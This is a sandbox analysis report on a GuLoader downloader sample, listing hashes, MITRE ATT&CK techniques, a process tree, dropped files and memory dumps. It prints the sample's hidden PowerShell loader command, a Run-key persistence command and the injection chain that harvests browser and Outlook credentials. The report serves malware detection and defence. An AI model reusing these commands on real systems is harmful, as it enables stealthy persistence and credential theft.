guloader | 88079d533879c31b99a435c152016333280e0290b80f8f3afbb28f2ccbc4b246

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
02/05/2024, 14:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
88079d533879c31b99a435c152016333280e0290b80f8f3afbb28f2ccbc4b246.exe
Size 489KB
Sample240502-rkkmfacf92
SHA256 88079d533879c31b99a435c152016333280e0290b80f8f3afbb28f2ccbc4b246
MD5 cbfe477536e5434005ec40a22c8b79ee
SHA1 2fb42b99bb51041bbbe2da96125aeb95ec1b4c02
SHA512 beea18bc954059a6418dd4b7548350dcf95d4d3eb14b9dc7fa32b11d3e558bce57be765cddbf99de32cead9f3f4a37f57558c031337db49e000d0fae1b214365
SSDEEP 12288:pnPdsC9RjSmHcRhoKm3H4yfDBobpx2LzY9dW8FNOgM:1PdZWmHECHpBEpILzY9dW8+gM
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader collection downloader execution persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/2828-61-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/2636-60-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 3 IoCs

resource	yara_rule
behavioral2/memory/2636-60-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/1608-66-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/2828-61-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1948	powershell.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	wab.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Insecta = "%Fumigatorium% -windowstyle minimized $Hysterogenic=(Get-ItemProperty -Path 'HKCU:\\Stafetlbenes\\').Indsbedes;%Fumigatorium% ($Hysterogenic)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
2720	wab.exe
2720	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1948	powershell.exe
2720	wab.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1948 set thread context of 2720	1948	powershell.exe	98
PID 2720 set thread context of 2636	2720	wab.exe	104
PID 2720 set thread context of 2828	2720	wab.exe	105
PID 2720 set thread context of 1608	2720	wab.exe	106

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\0409\Fremfrendes\topsyturvydom.ini	88079d533879c31b99a435c152016333280e0290b80f8f3afbb28f2ccbc4b246.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
692	reg.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
1948	powershell.exe
2636	wab.exe
2636	wab.exe
1608	wab.exe
1608	wab.exe
2636	wab.exe
2636	wab.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
1948	powershell.exe
2720	wab.exe
2720	wab.exe
2720	wab.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1948	powershell.exe
Token: SeDebugPrivilege	1608	wab.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2720	wab.exe

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 4776 wrote to memory of 1948	4776	88079d533879c31b99a435c152016333280e0290b80f8f3afbb28f2ccbc4b246.exe	86
PID 4776 wrote to memory of 1948	4776	88079d533879c31b99a435c152016333280e0290b80f8f3afbb28f2ccbc4b246.exe	86
PID 4776 wrote to memory of 1948	4776	88079d533879c31b99a435c152016333280e0290b80f8f3afbb28f2ccbc4b246.exe	86
PID 1948 wrote to memory of 2532	1948	powershell.exe	92
PID 1948 wrote to memory of 2532	1948	powershell.exe	92
PID 1948 wrote to memory of 2532	1948	powershell.exe	92
PID 1948 wrote to memory of 2720	1948	powershell.exe	98
PID 1948 wrote to memory of 2720	1948	powershell.exe	98
PID 1948 wrote to memory of 2720	1948	powershell.exe	98
PID 1948 wrote to memory of 2720	1948	powershell.exe	98
PID 1948 wrote to memory of 2720	1948	powershell.exe	98
PID 2720 wrote to memory of 3024	2720	wab.exe	101
PID 2720 wrote to memory of 3024	2720	wab.exe	101
PID 2720 wrote to memory of 3024	2720	wab.exe	101
PID 3024 wrote to memory of 692	3024	cmd.exe	103
PID 3024 wrote to memory of 692	3024	cmd.exe	103
PID 3024 wrote to memory of 692	3024	cmd.exe	103
PID 2720 wrote to memory of 2636	2720	wab.exe	104
PID 2720 wrote to memory of 2636	2720	wab.exe	104
PID 2720 wrote to memory of 2636	2720	wab.exe	104
PID 2720 wrote to memory of 2636	2720	wab.exe	104
PID 2720 wrote to memory of 2828	2720	wab.exe	105
PID 2720 wrote to memory of 2828	2720	wab.exe	105
PID 2720 wrote to memory of 2828	2720	wab.exe	105
PID 2720 wrote to memory of 2828	2720	wab.exe	105
PID 2720 wrote to memory of 1608	2720	wab.exe	106
PID 2720 wrote to memory of 1608	2720	wab.exe	106
PID 2720 wrote to memory of 1608	2720	wab.exe	106
PID 2720 wrote to memory of 1608	2720	wab.exe	106

C:\Users\Admin\AppData\Local\Temp\88079d533879c31b99a435c152016333280e0290b80f8f3afbb28f2ccbc4b246.exe
"C:\Users\Admin\AppData\Local\Temp\88079d533879c31b99a435c152016333280e0290b80f8f3afbb28f2ccbc4b246.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:4776
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Moralioralist=Get-Content 'C:\Users\Admin\AppData\Roaming\brosy\udrulnings\Depravingly238\Amphioxidae.Zin';$Relaying=$Moralioralist.SubString(7931,3);.$Relaying($Moralioralist)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1948
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
    3⤵
    PID:2532
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2720
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Insecta" /t REG_EXPAND_SZ /d "%Fumigatorium% -windowstyle minimized $Hysterogenic=(Get-ItemProperty -Path 'HKCU:\Stafetlbenes\').Indsbedes;%Fumigatorium% ($Hysterogenic)"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3024
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Insecta" /t REG_EXPAND_SZ /d "%Fumigatorium% -windowstyle minimized $Hysterogenic=(Get-ItemProperty -Path 'HKCU:\Stafetlbenes\').Indsbedes;%Fumigatorium% ($Hysterogenic)"
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:692
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\eanavvm"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2636
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\pualwnwrzu"
      4⤵
      Accesses Microsoft Outlook accounts
      PID:2828
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\rwfexghtndnmf"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1608

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_oqvyurkp.3dk.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oqvyurkp.3dk.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

eanavvm

Path C:\Users\Admin\AppData\Local\Temp\eanavvm
Size 4KB
SHA256 2c367b49bc63498c2f6e5a164d63a139757080f71e2a88bc6dcc32cb17e8adc7
MD5 2439e22611ee08ff8f7825bd1d2e32f3
SHA1 e37100e2eda267ecc4c0250ebd8cd5f3685fef00
SHA512 e550a08277e0eead98509d20d0b8c133d997b4ca138c29cf4f369fcefc4b553bafaac0b529c7335289209e01e4bb4a250706585f1e6cb53976e3fd771234b4f3
SSDEEP 48:wvvv0JxfvvcJxfdvv0JxBvv0Jxakvv0J7:mvQxvIp1vQPvQbvQ7
MD5 SHA1 SHA512 SSDEEP

Submit Download

Amphioxidae.Zin

Path C:\Users\Admin\AppData\Roaming\brosy\udrulnings\Depravingly238\Amphioxidae.Zin
Size 56KB
SHA256 a60d0460a7535d710c8083d2801309c85e4c4799657a555d8b50eb413f9bf485
MD5 de3e908d8a9b4efd29f77f55d5305c5b
SHA1 054248535582ddd0d7bb25c5c4757a9166763a15
SHA512 e6a56f4fd7e9ef71bc874df03d822f349470ac4e13a8acfb16b2134e83579c7250cf8cb323ec17c9cb288601e51b9c615a57cbb403b85a3b35ff1ef3f6dae001
SSDEEP 768:m0xiUN/THk8c1Sj0n4pWSEQjVtcNd0cNdKFVJhYRsex2bxkqsIzzMqA+CA49:WUN/THkT1SvpWvQhtcv+FVH3D/PA/B9
MD5 SHA1 SHA512 SSDEEP

Submit Download

Racialist.Pat

Path C:\Users\Admin\AppData\Roaming\brosy\udrulnings\Depravingly238\Racialist.Pat
Size 310KB
SHA256 5e601fbb39916b9cd2fbaaf0e3aa009d30850259559a485c79a87a2ca0f75e31
MD5 9bf43e283243f08a00430f29f3812ba0
SHA1 a07e6aad2b1c183f669b4910c37a9fc0c0f1944a
SHA512 38622d0d22efb48bf2dae77df1d1c317e1bba7c5271191f3e491d3a701d997bdb3a77a60455c4c16b549ba909ba98130f5a3f9b843e14dacc1e209c6193d2c59
SSDEEP 6144:NvFQ7NN+jhgPdXJ1gSQ4TWTes7+sPiC4sBT+HwZH6SGMA9:lF02hGxJ1g5ThzXl9NGMA9
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1608-62-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/1608-66-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/1608-57-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/1948-35-0x0000000073490000-0x0000000073C40000-memory.dmp

Download

memory/1948-40-0x000000007349E000-0x000000007349F000-memory.dmp

Download

memory/1948-19-0x0000000005BA0000-0x0000000005EF4000-memory.dmp

Download

memory/1948-24-0x0000000006180000-0x000000000619E000-memory.dmp

Download

memory/1948-25-0x0000000006210000-0x000000000625C000-memory.dmp

Download

memory/1948-26-0x0000000007150000-0x00000000071E6000-memory.dmp

Download

memory/1948-27-0x0000000006680000-0x000000000669A000-memory.dmp

Download

memory/1948-28-0x00000000066D0000-0x00000000066F2000-memory.dmp

Download

memory/1948-29-0x00000000077A0000-0x0000000007D44000-memory.dmp

Download

memory/1948-12-0x0000000005910000-0x0000000005976000-memory.dmp

Download

memory/1948-31-0x00000000083D0000-0x0000000008A4A000-memory.dmp

Download

memory/1948-33-0x0000000073490000-0x0000000073C40000-memory.dmp

Download

memory/1948-34-0x0000000073490000-0x0000000073C40000-memory.dmp

Download

memory/1948-6-0x000000007349E000-0x000000007349F000-memory.dmp

Download

memory/1948-11-0x00000000051C0000-0x00000000051E2000-memory.dmp

Download

memory/1948-37-0x0000000073490000-0x0000000073C40000-memory.dmp

Download

memory/1948-38-0x0000000008A50000-0x000000000E156000-memory.dmp

Download

memory/1948-13-0x0000000005A30000-0x0000000005A96000-memory.dmp

Download

memory/1948-41-0x0000000073490000-0x0000000073C40000-memory.dmp

Download

memory/1948-42-0x0000000073490000-0x0000000073C40000-memory.dmp

Download

memory/1948-43-0x0000000073490000-0x0000000073C40000-memory.dmp

Download

memory/1948-51-0x0000000073490000-0x0000000073C40000-memory.dmp

Download

memory/1948-7-0x0000000004BC0000-0x0000000004BF6000-memory.dmp

Download

memory/1948-8-0x0000000073490000-0x0000000073C40000-memory.dmp

Download

memory/1948-9-0x0000000005230000-0x0000000005858000-memory.dmp

Download

memory/1948-10-0x0000000073490000-0x0000000073C40000-memory.dmp

Download

memory/2636-60-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/2636-55-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/2636-58-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/2720-50-0x0000000002460000-0x0000000007B66000-memory.dmp

Download

memory/2720-69-0x0000000023DE0000-0x0000000023DF9000-memory.dmp

Download

memory/2720-73-0x0000000023DE0000-0x0000000023DF9000-memory.dmp

Download

memory/2720-72-0x0000000023DE0000-0x0000000023DF9000-memory.dmp

Download

memory/2828-56-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/2828-61-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/2828-59-0x0000000000400000-0x0000000000462000-memory.dmp

Download